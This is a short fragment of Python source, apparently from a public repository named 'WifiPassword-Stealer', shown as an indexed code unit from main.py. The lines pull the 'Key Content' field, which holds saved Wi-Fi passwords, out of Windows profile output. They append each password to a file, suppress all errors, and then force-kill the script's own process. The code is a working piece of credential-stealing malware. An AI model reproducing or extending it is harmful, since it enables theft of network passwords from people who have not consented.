INNER CODE UNIT · Python
next_word
aydinnyunus/WifiPassword-Stealer · main.py:78
next_word = list_of_words[list_of_words.index(key_content) + 2]
i = 2
for words in wifi.split():
if words == "Content":
next_word = list_of_words[list_of_words.index(key_content) + i]
next_word = next_word.split('\\r\\n\\r\\nCost')[0]
next_word = next_word.replace(' ', "\\ ")
i = i + 5
with open(file_path + "\\" + system_information, "a") as f:
f.write(" : " + next_word + "\n")
f.close()
except:
pass
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system("TASKKILL /F /IM " + os.path.basename(__file__))
print('File was closed.')